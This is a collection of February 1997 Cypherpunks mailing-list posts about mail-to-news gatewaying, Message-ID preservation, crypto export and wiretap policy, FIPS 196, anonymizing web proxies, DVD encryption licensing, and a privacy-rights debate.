To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: Message-Id / mail2news gateways.
Message-ID: <199702181526.HAA05746@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:59 PM 2/17/97 -0800, Anil Das wrote:

>1) Please preserver Message-Ids while resending messages.

Yes, this is absolutely crucial if many different systems are going to
cooperatively deal with messages. Message-ID changing is very bad. I sent a
Perl script to Lance (copies to others on request) which can be easily used
as the target of an /etc/aliases entry to gate a mailing list into inews (and
thereby into INN) for processing as a netnews message. (The script preserves
Message-ID.) If we preserve Message-ID's, many sites can have local mail-news
gateways, and we won't (globally) see duplicates. 

>2) In response to Igor's query, I would very much like at least
>on of the distributed lists to be set up such that messages sent
>there will *not* be gatewayed to Usenet.

I don't think this is practical - as I understand things, the corpus (bolus?)
of messages will be available to all comers for their own projects, which may
include mail-news gateways, archives, filtered lists, and so forth(*). People
who send messages to the list shouldn't expect that they'll have any
"privacy" in information sent there. 

(* Modulo copyright, but apparently the industry standards for copyright
issues are:

1.	Ignore them and hope they go away
2.	Pretend to seize control over IP rights of everything posted

neither of which works very well or makes any sense, legally speaking.)

For what it's worth, the list has been gated to two public newsgroups -
albeit not in the Big 7 or alt. - for quite some time. If you think your name
isn't on Usenet, and you've been sending messages to the list, think again.


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Version: 4.5

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-----END PGP SIGNATURE-----

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Mon, 17 Feb 1997 19:22:25 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180322.TAA21451@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks-raw@nceye.net
   Date: Mon, 17 Feb 1997 19:07:25 -0600 (CST)
   Cc: cypherpunks@toad.com, wcampbel@peganet.com
   Reply-To: ichudov@algebra.com (Igor Chudov)
   From: ichudov@algebra.com (Igor Chudov @ home)
   X-No-Archive: yes
   Organization: Bool Sheet Software
   X-Mailer: ELM [version 2.4 PL24 ME7]
   Content-Type: text
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   Mark M. wrote:
   >  - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
   > 	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

   ... Along with several others.

   >  - The distributed list is still forming and so far consists of
   > 	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
   > 	do not know the location.  A mail<->news gateway is planned, but not
   > 	yet in place, between the distributed list and the newsgroup(s).

   It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
   reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
   newsserver offering several cypherpunks newsgroups.

   I am not yet sure if taz is now a part of the mainstream usenet, that 
   is, it may not be connected to the Big USENET.

It receives some Big Usenet groups, but only for local users.
alt.cypherpunks is open, but there will be long delays, on the
order of a day, for articles there (unless someone better connected to
Usenet wants to feed me alt.cypherpunks.*---any volunteers?).








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeff A. Hale" <csla@intersurf.com>
Date: Tue, 18 Feb 1997 07:41:26 -0800 (PST)
To: cryptography@c2.net
Subject: Re: European crypto export policy
Message-ID: <199702181541.HAA06054@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:39 AM 2/18/97 +0100, you (Ulf M=F6ller) wrote:
>Swedish Datateknik 97-02 features an article about how COCOM/ Wassenaar
>Arrangement effects Swedish crypto exports.
>
>I wonder if someone whose Swedish is better than mine could summarize
>the article? It is at http://www.et.se/datateknik/arkiv/97-02/5.html
>
>Datateknik 97-01 reports about pressure for crypto regulations from
>the US, but also from the EU and OECD [the OECD turned out not to
>endorse key escrow shortly after the article was published]. The
>Swedish government is currently collecting facts and opinions; so far
>it remains an open question which standpoint it will take. England is
>preparing a law similar to the French one, while there are policy
>discussions similar to the Swedish going on in Germany and Denmark,
>says G=F6ran Axelsson, Sweden's representative in the EU's IT security
>body.


The Japanese are not far behind.  Using the emotional -- and often
successful -- pretext of "anti-terrorism," (the subway gassing allegedly
committed by the "Aum Cult"), the Japanese Ministry of Justice (JMOJ) is
about to propose a sweeping new wiretapping/electronic eavesdropping statut=
e
-- which insiders predict will sail through the Diet (national legislature)=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Mon, 17 Feb 1997 21:12:01 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180512.VAA23671@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Mon, 17 Feb 1997 22:55 EDT
   From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>



	   Well, Lance Cottrell would appear to be a good person to ask
   on this matter, but...

   >I just set up a recipe for using mail2news gateways like this:

   >:0 c
   >| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
   >	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

   >Any objections?

   given that mail2news@anon.lcs.mit.edu gets one of its USENET feeds via
   cyberpass.net, it would appear to be unnecessary if this recipe is in
   use. However, I do have one problem with this recipe: lack of
   loop prevention if a news2mail gateway is going in the other direction.

All the mailing-list hosts are supposed to check for duplicates before
forwarding anything, so this shouldn't do anything worse than have a
few extra copies of each post get discarded, loading the network and
the hosts a bit more.  But posting the list to a widely-distributed
newsgroup seems wrong for noise (both to the list itself and to
posters) and delay reasons.

    (I've crossposted this message to the remailer-operators
   mailing list to make sure it gets to the operators of the gateways in
   question.)



   In regards to your later query about whether people want their postings
   going to Usenet, might I suggest that this be individual to the given
   distributed mailing list? In other words, since the recipe is logically
   going to have to not forward to a gateway messages from other mailing
   lists (since it's not a good idea to have multiple copies of the same
   message arriving at the gateway if it can be helped; better to filter
   it out beforehand),

It doesn't seem an especially bad idea, since it 

   some of the mailing lists can forward and the
   others cannot. (One could even determine this behavior on application
   of the proper X-header, although I never trust various mailing systems
   to forward such intact.) The same could also be done with gatewaying
   _from_ Usenet - if the news2mail gateway feeds to whatever individual
   lists sign up to it and they _don't_ forward such messages to others,
   people can decide whether or not to receive Usenet postings on
   alt.cypherpunks.* by which list they subscribe to.
	   -Allen

   P.S. A thank you to Reece for setting up a gateway; I had looked
   at the program and did _not_ much like the idea of having to
   maintain it on my limited knowledge of C/C++ and mailing
   software.

The code currently running is a perl script that turns typical email
messages into something INN is happy with.  It is probably possible to
get your message rejected by INN if you put obsolete or otherwise
unusual and illegal headers in.  This may be a bug.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Feb 1997 07:26:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: FIPS 196
Message-ID: <199702181526.HAA05718@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


NIST announced in the Federal Register today "that the Secretary 
of Commerce has approved a new standard, which will be published 
as FIPS Publication 196, Entity Authentication Using Public Key 
Cryptography."

   http://jya.com/fips196.txt  (12K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 19 Feb 1997 22:26:07 -0800 (PST)
To: cryptography@c2.net
Subject: FIPS 196
Message-ID: <199702200626.WAA07966@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


NIST announced in the Federal Register today "that the Secretary 
of Commerce has approved a new standard, which will be published 
as FIPS Publication 196, Entity Authentication Using Public Key 
Cryptography."

   http://jya.com/fips196.txt  (12K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Edgar W Swank <edgarswank@juno.com>
Date: Tue, 18 Feb 1997 09:11:29 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Any more like www.anonymizer.com ??
Message-ID: <199702181711.JAA07678@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have a list of web proxies for anonymous surfing?

I already know about www.anonymizer.com, and there was a
"canadianizer" that would alter text to make it more "Canadian",
but that is now apparently defunct.

Reason I need to know, a friend in a foreign country has to deal
with a web proxy that blocks "objectionable" sites including
www.anonymizer, so some alternates that might not be blocked
would be welcome.

Edgar W. Swank   <EdgarSwank@Juno.com>
                 (preferred)
Edgar W. Swank   <Edgar_W._Swank@ilanet.org>
                 (for files/msgs >50K)
Home Page: http://members.tripod.com/~EdgarS/index.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 18 Feb 1997 09:29:58 -0800 (PST)
To: Alan Barrett <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702181729.JAA07983@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 5:35 PM +0200 2/18/97, Alan Barrett wrote:
>On 18 Feb 1997, Bryan Reece wrote:
>> Filtering out other gateways' messages will reduce load at
>> the possible expense of delay (assuming a smallish network of news
>> servers that feed each other the list; obviously the message will
>> flood the majordomo net before it floods the real usenet unless
>> something is seriously broken).
>
>Why is it obvious that mail propagation will be faster than news
>propagation?  News propagation times of small numbers of seconds are not
>at all uncommon.

News propagation in seconds to your _local server_, or to _distant_
servers? Articles I post do indeed appear "immediately" on my local site,
but certainly not so immediately on distant sites.

The Usenet is thousands of news servers, maybe tens of thousands, and news
feeds take a while...small articles are mixed in with hundreds of megabytes
a day of binaries. A percolation process, as opposed to a point-to-point
process for e-mail.

And I know that my site sometimes does not see articles for tens of hours,
even days, after the initial act of distribution. (Sometimes articles
appear more than a week late...presumably they've been lost to mu site on
some railroad siding someplace.)

This is why people say "News is slower than mail."

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 18 Feb 1997 07:41:31 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702181541.HAA06067@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>(And I always thought the "woman's right to privacy" argument for abortion
>was flaky. Accepting such an argument, wouldn't infanticide be equally
>protected by a woman's right to privacy?)
>
>--Tim May

	Whoa! This begs a thoughful response, but I don't have time right
now.  Might it suffice to suggest that a privacy claim -- a demand for
control over what concerns her, her alone, or (on balance) her more than
any other -- seems reasonable to extend to both contraception and early
abortion?  For many of us, by the same logic, and with the same moral
comfort.

	(As the clock slips onward, and the potential viability of the
fetus becomes more likely or certain, I personally believe the woman no
longer exists alone, and the privacy argument becomes conflicted and more
tenuous.   But Tim's golem, Infanticide, is a creature of nightmare --
wholly beyond the pale!)

	To my mind, any attempt to control what is done to the woman's body
(by her choice) while the prospective child is but a bit of enhanced
potential, much much less than a viable child, is an unconstitutional and
morally-invalid attempt by others (the state, the church, the country club)
to pre-empt her will, and prescribe or dictate a wholly new value system
for her.

	Any claim (by the father, the state, the church, etc.) to control
what happens in the moments or days after conception (say, forbidding
RU-whatever, the French drug,) has no more moral authority than any similar
claim to Higher Authority -- to safeguard the potential within her --
which is used to forbid his or her the use of a contraceptive, or which
requires him or her to take a drug which makes multiple pregnancies more
likely.

	I always thought the Jesuits had the logical argument straight.  If
the woman has no inherent right to control her destiny in the languid
aftermath of intercourse (just because she has within herself the potential
of a new life) then she has no claim to self-possession which allows her to
use a contraceptive just before intercourse.  If it is the potential for
new life that allows external authorities to overwhelm her judgment and
violate her privacy, then the case for that Papal Judgement exists before,
during, and after sex.

	Problem is: while logical, the Catholic argument seems silly,
authoritarian, and hopelessly abstract in the face of what many of us
experience as a less dogmatic and vastly more human context. A context in
which the right to privacy or self-possession seems inherent in the people
we are, the people we know, the world as we live it.  (Jesuits have a
certain disadvantage, from this POV;-)

	The fact that this claim of privacy or self-possession apparently
has an echo in the US Constitution (that oh, so-prescient document!) -- and
in the libertarian/liberal proclamations of numerous other nation states --
is a validation, a confirmation... but the Right of privacy, the Claim, is
inherent in our sense of who we are, and our sense of what an individual
is.

	If the philosophers had not considered it in their musings, we
would have to fight harder; we would need to define it as well as defend it
-- but it can only be denied if we denied ourselves, as the serfs of the
Dark Ages were expected to... and did.

	Women as vessels.  Men as vassals.

	Suerte,
		_Vin

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 18 Feb 1997 07:41:01 -0800 (PST)
To: Cypherpunks <cypherpunks@cyberpass.net
Subject: Raph
Message-ID: <199702181541.HAA06032@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I have found it convenient to retrieve Raph's list off c'punks, as opposed to
fingering. I do hope this service to the community will continue on one forum
or another.

Thanks.

Alec

 
-----BEGIN PGP SIGNATURE-----
Version: 4.5
Comment: Message PGP 2.6.2. signed/encrypted.  Public key available on
request or from keyservers.

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X6HtqBfk5Pc=
=cIv9
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 18 Feb 1997 09:12:30 -0800 (PST)
To: ichudov@algebra.com
Subject: alt.cypherpunks.ebonics
Message-ID: <199702181712.JAA07739@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Igor,

A friend, who, in the CP tradition requested to remain anonymous, and I were
doing an informal analysis of those subjects/topics which over the past year
generated the most discussion and, by implication, interest on the CP list.
Since the list at that time was reportedly unmoderated, we felt some weight
should be given to members' interests/desires as measured by their posts,
regardless of the applicability to the list topic.

With the exceptions of AP (oh so clearly way off-topic), list censorship (too
tedious),  and remarks either questioning or affirming the
sexuality/virility/femininity (or lack thereof ) of almost every CP
subscriber, the topic which claimed the most bandwidth was Ebonics. It seemed
to touch on several layers of CP interest: freedom of speech, obfuscation,
tolerance, intolerance, phonetics, linguistics, race warfare,  etc. You name
it; just about every well-known c'punk jumped in to make some urbane
statement on this, sadly, now dead and  ignored issue. Nevertheless, the
bandwidth was there!  

Note; any messages followed by Punctuation Art were excluded if they seemed
to lack "dignity," for want of a better word.

Based on the above stats (available from my friend on request), my anonymous
friend and I request that you add Ebonics as an area of interest to
Cypherpunks in your List Intro.

Please judge this request on its merit and not on what you may think of me or
my anonymous (asexual) friend personally, thereby, by that very action,
initiating a New Order of Cypherpunks!

Thanks for you consideration.

More importantly, thank you for helping to keep this vibrant list alive.

Alec (and friend)
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7UoISphHlxs8PScnxkw6PQsVHerd+FnxPJQ2xAnCa1gUujxuif8OrsYpInVcfEap
99KkC39DzAe+/zHrOR2Kt7MK+X8267oCIWl4Yt1VBkCSt8ruktCnIXF41ghyuHUt
3N7reRPx6Hs=
=EMeF
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Tue, 18 Feb 1997 09:11:34 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702181711.JAA07684@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



    These chips look *very* promising.  Who needs Clipper, or HP's
    Clipper-under-another-name, when you can get triple DES from
    the free world at prices like this?

The critical thing is to get the horse out of
the barn before the door is barred.  Each and
every one of these sorts of vendors has to establish
use and distribution on a wide basis before governments
of any stripe start locking down on domestic use.  There
is little time and, yes, I am a paranoid who hopes thereby
to survive.

--dan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Thu, 20 Feb 1997 12:56:56 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702202056.MAA22496@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



    These chips look *very* promising.  Who needs Clipper, or HP's
    Clipper-under-another-name, when you can get triple DES from
    the free world at prices like this?

The critical thing is to get the horse out of
the barn before the door is barred.  Each and
every one of these sorts of vendors has to establish
use and distribution on a wide basis before governments
of any stripe start locking down on domestic use.  There
is little time and, yes, I am a paranoid who hopes thereby
to survive.

--dan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed Falk <Ed.Falk@Eng.Sun.COM>
Date: Tue, 18 Feb 1997 14:26:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting question: how to safely keep passwords online
Message-ID: <199702182226.OAA12246@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Here's a question that's been on my mind lately:  Often, you like
to keep external passwords stored on your personal computer.  As a quick
example, Eudora will remember your POP password for you so you don't
have to enter it every time.  Obviously, Eudora keeps this on disk
somewhere.

The question is: is there any (relatively) safe way to do this?  Obviously,
Eudora encrypt the saved password with some secret key, but this key could
probably be found by examining the code.  A slight improvement would
be for Eudora to generate an encryption key on the fly based on some
external system state, but this is also susceptible to reverse-engineering.

	-ed falk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Tue, 18 Feb 1997 14:27:04 -0800 (PST)
To: cryptography@c2.net
Subject: Why Digital Video Disks are late to market
Message-ID: <199702182227.OAA12266@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



http://techweb.cmp.com/eet/news/97/942news/encryp.html

To summarize, the Digital Video Disk standard contains an encryption
standard for copyright and anti-piracy protection. however, "some U.S.
PC and silicon vendors have just about abandoned hope of keeping to
their revised launch schedules for DVD-enabled systems."

... as far as anybody knows, "none of the U.S. PC vendors today has a license
to use the DVD-decryption algorithm" in software.

"We all know the situation; we don't have a license," said Michael
Moradzadeh, program manager of Intel's copy-protection task force.

A solution may be in the offing within days. Some sources said late last
week that Matsushita [who owns license rights] and key U.S. computer
companies may resolve the software-licensing issues by the end of this
week. The PC industry seeks amendments to the licensing-agreement language
that would result in equivalent treatment of software- and hardware-based
CSS decryption.

... there apparently has been some speculation among the U.S. PC community
that Matsushita may be stonewalling on the software-licensing issue so that
it can establish its hardware-based decryption solution in the marketplace.

---

Nothing in the article suggests that "national interests" are involved.

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Thu, 20 Feb 1997 12:57:23 -0800 (PST)
To: cryptography@c2.net
Subject: Why Digital Video Disks are late to market
Message-ID: <199702202057.MAA22509@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



http://techweb.cmp.com/eet/news/97/942news/encryp.html

To summarize, the Digital Video Disk standard contains an encryption
standard for copyright and anti-piracy protection. however, "some U.S.
PC and silicon vendors have just about abandoned hope of keeping to
their revised launch schedules for DVD-enabled systems."

... as far as anybody knows, "none of the U.S. PC vendors today has a license
to use the DVD-decryption algorithm" in software.

"We all know the situation; we don't have a license," said Michael
Moradzadeh, program manager of Intel's copy-protection task force.

A solution may be in the offing within days. Some sources said late last
week that Matsushita [who owns license rights] and key U.S. computer
companies may resolve the software-licensing issues by the end of this
week. The PC industry seeks amendments to the licensing-agreement language
that would result in equivalent treatment of software- and hardware-based
CSS decryption.

... there apparently has been some speculation among the U.S. PC community
that Matsushita may be stonewalling on the software-licensing issue so that
it can establish its hardware-based decryption solution in the marketplace.

---

Nothing in the article suggests that "national interests" are involved.

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eickfarm <eickfarm@alpha.shianet.org>
Date: Tue, 18 Feb 1997 14:16:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Military/Intelligence URL
Message-ID: <199702182216.OAA12092@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Return-Path: <owner-cypherpunks@toad.com>
>Date: Tue, 11 Feb 1997 03:22:32 -0500 
>From: harka@nycmetro.com
>To: cypherpunks@toad.com
>Subject: Military/Intelligence URL
>Sender: owner-cypherpunks@toad.com
>Precedence: bulk
>X-UIDL: b0eef8d389443636415db00da7508d3f
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Here an page, that deals with various intelligence and military
>institutions...
>
>
> In> Subject: GOVT> AJAX, Government and Military Intelligence
>
> In> http://204.180.198.56:80/ajax/ajax.htm
>
> In> United States and International Government Military and Intelligence
> In> Agency Access
>
> In> Certain Locations Or Sections Thereof May Be Closed To
> In> Unauthorized Use.
> In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM.
> In> (If You Prefer A Frameless Environment, Click HERE.)
> In> Last update: 7 FEBRUARY 1997. All accesses verified at
> In> time of inclusion.
>
> In> CIA                  Central Intelligence Agency
> In> DIA                  Defense Intelligence Agency
> In> NRO                  National Reconnaissance Office
> In> NSA                  National Security Agency
> In> SS                   Secret Service
> In> USCSOI               U.S. Customs Service Office of Investigation
>
> In> ATF                  Bureau of Alcohol, Tobacco and Firearms
> In> BOP                  Federal Bureau of Prisons
> In> CID                  U.S. Army Criminal Investigation Command
> In> COURTS               U.S. Federal Courts
> In> FBI                  Federal Bureau of Investigation
> In> FINCEN               Financial Crimes Enforcement Network
> In> FLETC                Federal Law Enforcement Training Center
> In> MARSHALS             U.S. Marshals Service
> In> NIJ                  National Institute of Justice
> In> ACC                  Air Combat Command
> In> AFSPC                Air Force Space Command
> In> BMDO                 Ballistic Missile Defense Organization
> In> DEFENSE              Defense Department
> In> DISA                 Defense Information Systems Agency
> In> DRMS                 Defense Reutilization and Marketing Service
> In> DTIC                 Defense Technical Information Center
> In> JCS                  Joint Chiefs of Staff
> In> NAVWAN               Naval Aviation Systems Team Wide Area Network
> In> NAWCWPNS             Naval Air Warfare Center Weapons Division
> In> NSWC                 Naval Surface Warfare Center
> In> USAFA                United States Air Force Academy
>
> In> AHPCRC               Army High Performance Computing Research Center
> In> ARPA                 Advanced Research Projects Agency
> In> LABLINK              U.S. Department of Defense Laboratory System
> In> NRL                  The Naval Research Laboratory RL
> In> USAF                 Rome Laboratory for C41 Technology
> In> USACIL               U.S. Army Criminal Investigation Laboratory
>
> In> NATGUARD             Army and Air National Guards
> In> USA                  United States Army
> In> USAF                 United States Air Force
> In> USCG                 United States Coast Guard
> In> USMC                 United States Marine Corps
> In> USN                  United States Navy
>
> In> EPA                  U.S. Environmental Protection Agency
> In> FAA                  Federal Aviation Administration Technical Center
> In> FCC                  Federal Communications Commission
> In> FTC                  Federal Trade Commission
> In> NMFS                 National Marine Fisheries Service
> In> NRC                  Nuclear Regulatory Commission
> In> SEC                  Securities and Exchange Commission
> In> CDC                  Centers for Disease Control and Prevention
> In> CENSUS               U.S. Department of Commerce Bureau of the Census
> In> CONGRESS             U.S. House of Representatives
> In> CUSTOMS              U.S. Customs Service
> In> DOE                  U.S. Department of Energy  National Laboratories
> In> & Programs
> In> EXECUTIVE            The White House
> In> FDIC                 Federal Deposit Insurance Corporation
> In> FEMA                 Federal Emergency Management Agency
> In> FMS                  Financial Management Service
> In> GPO                  U.S. Government Printing Office
> In> GSA                  U.S. General Services Administration
> In> HHS                  U.S. Department of Health and Human Services
> In> HPCC                 NOAA High Performance Computing and
> In> Communications IRS                  Internal Revenue Service
> In> JUSTICE              Justice Department
> In> NARA                 National Archives and Records Administration
> In> NASA                 National Aeronautics and Space Administration
> In> NCDC                 National Climatic Data Center
> In> NIMH                 National Institute of Mental Health
> In> NOAA                 National Oceanic & Atmospheric Administration
> In> NSF                  National Science Foundation
> In> NTIS                 National Technical Information Service
> In> SBA                  Small Business Administration
> In> SEL                  Space Environment Laboratory
> In> STATE                State Department
> In> TREASURY             Treasury Department
> In> USCODE               U.S. House of Representatives
> In> Internet Law Library U.S. Code
>
> In> CANADA
> In> CSE                  Communications Security Establishment
> In> CISC                 Criminal Intelligence Service Canada
> In> CSIS                 Canadian Security Intelligence Service
> In> SIRC                 Security Intelligence Review Committee
> In> UNITED KINGDOM       CIM Central Intelligence Machinery
>
> In> CANADA
> In> DJC                  Department of Justice of Canada
> In> FORENSIC             The Forensic Web
> In> RCMP                 Royal Canadian Mounted Police
> In> SGC                  Solicitor General of Canada
>
> In> UNITED NATIONS       UNCPCJ United Nations Crime Prevention &
> In> Criminal Justice
>
> In> CANADA
> In> CFC                  Canadian Forces College
> In> DREO                 Defense Research Establishment, Ottawa
>
> In> UNITED KINGDOM
> In> ARMY                  The British Army
> In> CDA                   Centre for Defence Analysis
> In> DRA                   Defence Research Agency
>
> In> NATO                  North Atlantic Treaty Organization
> In> SACLANT               Supreme Allied Commander, Atlantic
> In> SHAPE                 Supreme Headquarters Allied Powers Europe
>
> In> BECCA                 Business Espionage Controls & Countermeasures
> In> Association
> In> CRYPTOLOG             Internet Guide to Cryptography
> In> DCJFTF                Washington, D.C. Joint Fugitive Task Force
> In> WANTED                "The World's Most Wanted" (Fugitives and
> In> Unsolved Crimes)
>
>
>Ciao
>
>Harka
>
>/*************************************************************/
>/* This user supports FREE SPEECH ONLINE     ...more info at */
>/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
>/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
>/* PGP public key available upon request.  [KeyID: 04174301] */
>/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
>/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
>/* May there be peace in this world, may all anger dissolve  */
>/* and may all living beings find the way to happiness...    */
>/*************************************************************/
>
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>
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>sYOZzcoYNe6CX6m55a9UqiEpZu4mK9TBkO7OXSfV3J3CygVAbo7zjC+lW2r7L9F8
>3vTqrxbOCb3SMEl4k3L5QVtKOGVSh7MMIesBtmQ2SNhhvSfrdFYBnCcvtmnvYi8j
>6YpI5wrkiNzueuFwoD9YoRR7UugE5kcCyJ3FFHym7RzQUL8XsHRhsk1XoTBHvXni
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>=s4om
>-----END PGP SIGNATURE-----
>
>
>If encryption is outlawed, only outlaws will have encryption...
>
>
>
>
>------------------------------
**********WHY AM I RECEIVING 346 MESSAGES THAT ORIGINATED WITH
CYPHERPUNKS@TOAD.COM?  I AM UNABLE TO USE MY E=MAIL BECAUSE OF THE MESSAGES
THAT HAVE ACCUMULATED.  EVERY SINGLE ONE OF THESE MESSAGES REFERENCES YOUR
ORGANIZATION.  I HAVE NEVER ACCESSED ANYTHING THAT HAD TO DO WITH YOUR
GROUP.  PLEASE ASSIST ME IN REMOVING THE ROUTING OF THESE MESSAGES TO MY
E-MAIL.  OTHERWISE, I WILL BE FORCED TO CANCEL MY SUBSCRIPTION TO THE INTERNET.
THANK YOU.

EICKFARM@SHIANET.ORG






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 18 Feb 1997 14:12:24 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <199702182212.OAA11971@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

edgarswank@juno.com (Edgar W Swank) writes:
> Does anyone have a list of web proxies for anonymous surfing?
> 
> I already know about www.anonymizer.com, and there was a
> "canadianizer" that would alter text to make it more "Canadian",
> but that is now apparently defunct.

There's a Zippifier (inserts Zippy the Pinhead quotes) at:
http://www.metahtml.com/apps/zippy/welcome.mhtml

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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xKDCG2Jqe4ThLS56AuTmiJQVkDLBDJx6
=gLdy
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Tue, 18 Feb 1997 07:43:18 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702181543.HAA06112@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith writes:
 > From:	IN%"reece@taz.nceye.net"  "Bryan Reece" 17-FEB-1997 23:23:10.06
 > 
 > >>   use. However, I do have one problem with this recipe: lack of
 > >>   loop prevention if a news2mail gateway is going in the other direction.
 > 
 > >All the mailing-list hosts are supposed to check for duplicates before
 > >forwarding anything, so this shouldn't do anything worse than have a
 > >few extra copies of each post get discarded, loading the network and
 > >the hosts a bit more.  But posting the list to a widely-distributed
 > 
 > 	Umm... IIRC, the only person who's announced how he's filtering
 > for duplicates is Igor, and he's just checking for messageIDs. Won't
 > those get chunked on going through a mail2news gateway, and thus
 > possibly come back through a news2mail gateway?

My script preserves the Message-ID, assuming that the incoming message
has one.  Other gateways I've seen also appear to preserve Message-ID
lines (or at least messages posted through them appear to have
mail-like ID lines).  

 > The filtering
 > mechanism could be improved via MD5 digests, etcetera (someone's
 > already given a recipe for such; thank you), but even so various
 > mungings could still set up a mailing loop. (Yes, I'm paranoid
 > about those; I may have been reading list-managers for too long and
 > seen too many stories on there.) The sensible place to keep
 > track of possible duplicates is at the gateway; it can
 > certainly filter based on that it (or, for that matter, another
 > known bidirectional gateway) sent a message out.

Not immediately sending a message back to the host that it came from
